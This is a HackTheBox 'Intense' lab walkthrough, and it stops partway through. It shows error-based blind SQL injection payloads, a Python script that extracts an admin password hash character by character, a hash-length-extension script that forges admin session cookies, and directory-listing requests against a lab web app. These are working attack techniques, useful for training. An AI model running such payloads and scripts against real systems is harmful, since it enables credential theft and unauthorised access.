HTB Intense Walkthrough
A technical walkthrough guide of the INTENSE challenge at HackTheBox.
Before starting let me say that this was one of the most complicated boxes I have ever done, especially considering that there were not many posts to consult on the official HTB forum. This was an "intense" job that lasted about three weeks, during which I backtracked several times. In particular, the second part of the root flag put me to the test, having to work and spending part of the time in the study of reversing techniques that I did not know. But let's get started and I hope you can have a lot of fun like I did!
Starting Analysis
The nmap scan:
nmap -A -T4 10.10.10.195
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 10:52 CEST
Nmap scan report for 10.10.10.195
Host is up (0.043s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.40 seconds
Simple, two ports, 22 (ssh) and 80 (HTTP), as usual, the ssh will unuseful until you have a key or a credential to use, so, proceed through the web portal.
Well, the portal has no significant pages: a welcome page with instruction to login using a guest account, and a form to leave a message to the administrators. There's also a link on the page, that provide the source of the portal (http://10.10.10.195/src.zip).
It's quite immediately clear that the form is vulnerable to SQL injection.
Start to study the source to understand the type of the injection and how to exploit it.
There's no particular files, a simple and clear structure, it's written in python and on the app.py file, could be identifiable the routes of the portal. On the submitmessage route, can identify the vulnerable query. To be quiet, I try a scan of the portal for hidden folders with dirb, but nothing goes out.
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $dirb http://10.10.10.195
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 5 11:06:25 2020
URL_BASE: http://10.10.10.195/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.195/ ----
+ http://10.10.10.195/admin (CODE:403|SIZE:234)
+ http://10.10.10.195/home (CODE:200|SIZE:3338)
+ http://10.10.10.195/login (CODE:200|SIZE:4333)
+ http://10.10.10.195/logout (CODE:200|SIZE:44)
+ http://10.10.10.195/submit (CODE:200|SIZE:3998)
Obviously, on the admin route, I have not access.
The SQL injection
Ok, it's time to approach to the SQL injection and understand how to proceed.
The query, is a simple insert into statement:
"insert into messages values ('%s')"
In this case the attach that can be provided is to close the original query and concatenate another one, to execute additional command; For example, the target could be to pass data in order to create a final query like this:
"insert into messages values (''); insert into users (username, secret, role) select 'in7rud3r', secret, 1 from users where (username = 'guest')"
In his attack, the query insert a message into the original table (messages) and after insert a new user into the users table (the name of the table can be found in the source code of the small site), with the admin role (third parameter = 1) and the same password of the user guest. The string to pass, so, is:
'); insert into users (username, secret, role) select 'in7rud3r' as username, secret, 1 as role from users where (username = 'guest
If I remember (I'm sorry, about three weeks from this activity are passed, despite the notes), I receive a message that I "cannot insert so many chars" in the message, so, I encrypt the password of the guest user (following the source code) and provide a new data to the form.
'); insert into users (username, role, secret) values ('in7rud3r', 1, 'b922bf39b33cb4f2d80d07a75492ad2982f2187d2ee9510b20755be590503ba9
This time the system doesn't notify me any error, but I don't know if the attack was a success (I suppose no because I cannot enter as admin with this new credential), so I move for another way. I notice that sending a POST message using curl, I receive a message "OK" or the error message.
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=');--"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=') union select role from users --"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=') union select role from users where (username='guest"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=') union select role from users where (username='guestaaa"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=') union select 0/0 from users --"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=') union select sqlite3_sleep(3) from users --"
no such function: sqlite3_sleep
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=') union select 0/0 from users --"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message='+select zeroblob(3000000000) from users where username = 'guest"
near "select": syntax error
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' + (select zeroblob(3000000000) from users where username = 'guest')) --"
near "(": syntax error
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' + 'pippi"
near "'pippi'": syntax error
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || 'pippi"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || (select zeroblob(3000000000) from users where username = 'guest')) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || (select case when secret like 'a%' then zeroblob(3000000000) else '' end from users where username = 'guest')) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || (select case when secret like '8%' then zeroblob(3000000000) else '' end from users where username = 'guest')) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || (select case when secret not like '8%' then zeroblob(3000000000) else '' end from users where username = 'guest')) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || (select case when secret like '8%' then zeroblob(3000) else '' end from users where username = 'guest')) --"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob(select case when secret like '8%' then 3000000000 else 30 end from users where username = 'guest')) --"
near "select": syntax error
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob((select case when secret like '8%' then 3000000000 else 30 end from users where username = 'guest'))) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob((select case when secret not like '8%' then 3000000000 else 30 end from users where username = 'guest'))) --"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob((select case when secret like '8%' then 3000000000 else 30 end from users where username = 'guest'))) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob((select case when secret like '4%' then 3000000000 else 30 end from users where username = 'guest'))) --"
OK
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $
I'll try to explain to you how the attack is changed; Due to the fact that the insert into the users' table doesn't work, I move for another way and concentrate on the query available exploiting the error on the insert table in order to identify the password (secret) of the admin char by char. Also if the string I'm sending seems to be complex, but the concept is really simple. I'm saying to the query to insert a blob value in the field message with a size of 3000000000 if the secret respect the condition (secret like '4%') otherwise 30. If you guess the char the query will return an error because the field is too small to contain the value, until you receive an OK message, the char is wrong. Inserting this process in a loop that cycle all the letter, after a small brute-force you'll have the final secret of the admin. I use the same technic to identify the name of the administrator user:
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob((select 3000000000 from users where username = 'admin'))) --"
string or blob too big
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/submitmessage -d "message=' || zeroblob((select 3000000000 from users where username = 'administrator'))) --"
OK
I think I should invert the condition for a logical inspection, but it's important the final result! :)
Here the final script I create for this target:
from __future__ import print_function
import urllib2
import sys
available_char = '0123456789abcdef'
secret = ""
url = 'http://10.10.10.195/submitmessage'
for i in range(64):
for c in available_char:
data = "message=message=' || zeroblob((select case when substr(secret, " + str(i + 1) + ", 1) = '" + c + "' then 30 else 3000000000 end from users where username = 'admin'))) --"
req = urllib2.Request(url, data, {'Content-Type': 'application/x-www-form-urlencoded'})
f = urllib2.urlopen(req)
if (f.read() == "OK"):
secret += c
# print('.', end='')
# sys.stdout.flush()
break
sys.stdout.flush()
print('\r' + secret + c, end='')
f.close()
print()
print('admin password should be: ' + secret)
And, when execute the string...
┌─[✗]─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $python bforce.py
f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971104
admin password should be: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105
How to exploit this secret
Now, my first approach is to try to brute-force also this secret using hashcat, but I fail.
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $echo "f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105" > secret.hash
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $hashcat --help | grep -i sha
100 | SHA1 | Raw Hash
1300 | SHA2-224 | Raw Hash
1400 | SHA2-256 | Raw Hash
10800 | SHA2-384 | Raw Hash
1700 | SHA2-512 | Raw Hash
17300 | SHA3-224 | Raw Hash
17400 | SHA3-256 | Raw Hash
17500 | SHA3-384 | Raw Hash
17600 | SHA3-512 | Raw Hash
21400 | sha256(sha256_bin($pass)) | Raw Hash
21000 | BitShares v0.x - sha512(sha512_bin(pass)) | Raw Hash
[...]
21600 | Web2py pbkdf2-sha512 | Framework
10000 | Django (PBKDF2-SHA256) | Framework
124 | Django (SHA-1) | Framework
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $hashcat -m 1400 -a 0 ./secret.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM)2 Duo CPU T8300 @ 2.40GHz, 2836/2900 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Name........: SHA2-256
Hash.Target......: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc...971105
Time.Started.....: Sun Sep 6 13:08:01 2020 (24 secs)
Time.Estimated...: Sun Sep 6 13:08:25 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 592.3 kH/s (1.66ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 0/1 (0.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Started: Sun Sep 6 13:06:34 2020
Stopped: Sun Sep 6 13:08:26 2020
Not finding solutions, I go back to analyzing the sources of the portal and discover that I could use cookies to introduce myself as an administrator.
@app.route("/postlogin", methods=["POST"])
def postlogin():
# return user's info if exists
data = try_login(request.form)
if data:
resp = make_response("OK")
# create new cookie session to authenticate user
session = lwt.create_session(data)
cookie = lwt.create_cookie(session)
resp.set_cookie("auth", cookie)
return resp
return "Login failed"
###
def try_login(form):
""" Try to login with the submitted user info """
if not form:
return None
username = form["username"]
password = hash_password(form["password"])
result = query_db("select count(*) from users where username = ? and secret = ?", (username, password), one=True)
if result and result[0]:
return {"username": username, "secret":password}
return None
In the postlogin action, a new cookie is created, here how:
from hashlib import sha256
from base64 import b64decode, b64encode
from random import randrange
import os
SECRET = os.urandom(randrange(8, 15))
def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()
def create_session(data):
session = ""
for k, v in data.items():
session += f"{k}={v};"
return session.encode()
def create_cookie(session):
cookie_sig = sign(session)
return b64encode(session) + b'.' + b64encode(cookie_sig)
session = create_session({"username": "admin", "secret":"f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105"})
cookie = create_cookie(session)
print(cookie)
The concept is that the code check if the cookie contains some value, so I can suppose to add to the cookie of the guest (created when I login) with the cookie of the admin (and the code save the hashing of the secret, that we have found yet). A technic we can use on this kind of attack is called "Hash Length extencion", here two interesting link to deepen:
So, login to the portal as guest and retrieve the generated cookie.
dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.jzZrNVf9/Hc+/L9/eN9gXJuTwTEKxN/BE++rA5Z0S5k=
Here the manual step to generate the new cookie:
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $echo "jzZrNVf9/Hc+/L9/eN9gXJuTwTEKxN/BE++rA5Z0S5k=" > sign.txt
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $base64 -d -w 10000 sign.txt | od -A n -t x1 | sed 's/ *//g' | tr -d '\n'
8f366b3557fdfc773efcbf7f78df605c9b93c1310ac4dfc113efab0396744b99
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $echo "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7" > msg.txt
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $base64 -d -w 10000 msg.txt
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $hashpump
Input Signature: 8f366b3557fdfc773efcbf7f78df605c9b93c1310ac4dfc113efab0396744b99
Input Data: username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
Input Key Length: 10
Input Data to Add: ;username:admin;secret:f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;
39277b862be375a4059ca66e8e569e364a97896aaf1f957fcc68300ef3c4bd30
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x08;username:admin;secret:f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $echo "39277b862be375a4059ca66e8e569e364a97896aaf1f957fcc68300ef3c4bd30" > new_sign.txt
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $echo "username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x08;username:admin;secret:f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;" > new_msg.txt
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $base64 -w 100000 new_msg.txt
dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7XHg4MFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAzXHgwODt1c2VybmFtZTphZG1pbjtzZWNyZXQ6ZjFmYzEyMDEwYzA5NDAxNmRlZjc5MWUxNDM1ZGRmZGNhZWNjZjgyNTBlMzY2MzBjMGJjOTMyODVjMjk3MTEwNTsK
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $base64 -w 100000 new_sign.txt
MzkyNzdiODYyYmUzNzVhNDA1OWNhNjZlOGU1NjllMzY0YTk3ODk2YWFmMWY5NTdmY2M2ODMwMGVmM2M0YmQzMAo=
dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7XHg4MFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAzXHgwODt1c2VybmFtZTphZG1pbjtzZWNyZXQ6ZjFmYzEyMDEwYzA5NDAxNmRlZjc5MWUxNDM1ZGRmZGNhZWNjZjgyNTBlMzY2MzBjMGJjOTMyODVjMjk3MTEwNTsK.MzkyNzdiODYyYmUzNzVhNDA1OWNhNjZlOGU1NjllMzY0YTk3ODk2YWFmMWY5NTdmY2M2ODMwMGVmM2M0YmQzMAo=
Replacing this on the cookie on the browser you should be into the portal as administrator but, there's a problem... There's a line on the source code, that have to be considered.
SECRET = os.urandom(randrange(8, 15))
This value is generated when the portal start and used to create the cookie. So, I have to use the same value, but the only way to be sure is to try to generate with all the possible values and connect with the cookie on the portal to ensure it's correct. I prepare a small script to use.
from hashlib import sha256
from base64 import b64decode, b64encode
from random import randrange
from hashpumpy import hashpump
import binascii
import urllib2
import os
url = 'http://10.10.10.195/admin'
guest_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.jzZrNVf9/Hc+/L9/eN9gXJuTwTEKxN/BE++rA5Z0S5k="
msg_to_add = ";username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;"
ori_msg_crypt, ori_sign = b64decode(guest_cookie.split('.')[0]), b64decode(guest_cookie.split('.')[1]).encode('hex')
for secret_length in range(8, 15):
new_sign, new_msg = hashpump(ori_sign, ori_msg_crypt, msg_to_add, secret_length)
fin_msg = b64encode(new_msg)
fin_sign = b64encode(binascii.unhexlify(new_sign))
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', "auth=" + fin_msg+'.'+fin_sign))
f = ""
try:
print("calling with " + str(secret_length))
f = opener.open(url)
print(f)
print("this could be your cookie: " + "auth=" + fin_msg+'.'+fin_sign)
except urllib2.HTTPError, e:
print("ERROR:" + e.fp.read().splitlines()[1])
print('----------------------------------------------')
Here the output of the script (remember to change the guest cookie each time the BOX restarted):
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $python2 cookie_maker_v2.py
calling with 8
ERROR:<title>403 Forbidden</title>
----------------------------------------------
calling with 9
ERROR:<title>403 Forbidden</title>
----------------------------------------------
calling with 10
ERROR:<title>403 Forbidden</title>
----------------------------------------------
calling with 11
<addinfourl at 139654438662624 whose fp = <socket._fileobject object at 0x7f03d5b219d0>>
this could be your cookie: auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.gYdn2owy8Ju4oVsVxdXCS4RXEljJFT72XwJb5IoGNys=
----------------------------------------------
calling with 12
ERROR:<title>403 Forbidden</title>
----------------------------------------------
calling with 13
ERROR:<title>403 Forbidden</title>
----------------------------------------------
calling with 14
ERROR:<title>403 Forbidden</title>
This time, using the cookie...
Well, on the page there's no link, but, reading the code, is visible two different routes that allow us to list the log folder and read a single log file (attention to the small bug on the path of the first and the second code).
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=.
['__pycache__', 'app.ini', 'logs', 'lwt.py', 'static', 'wsgi.py', 'app.py', 'database.db', 'templates', 'admin.py', 'utils.py', 'app.sock']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=logs
Can't find logs
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=.
['__pycache__', 'app.ini', 'logs', 'lwt.py', 'static', 'wsgi.py', 'app.py', 'database.db', 'templates', 'admin.py', 'utils.py', 'app.sock']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=./logs
Can't find ./logs
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=logs
Can't find logs
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=.
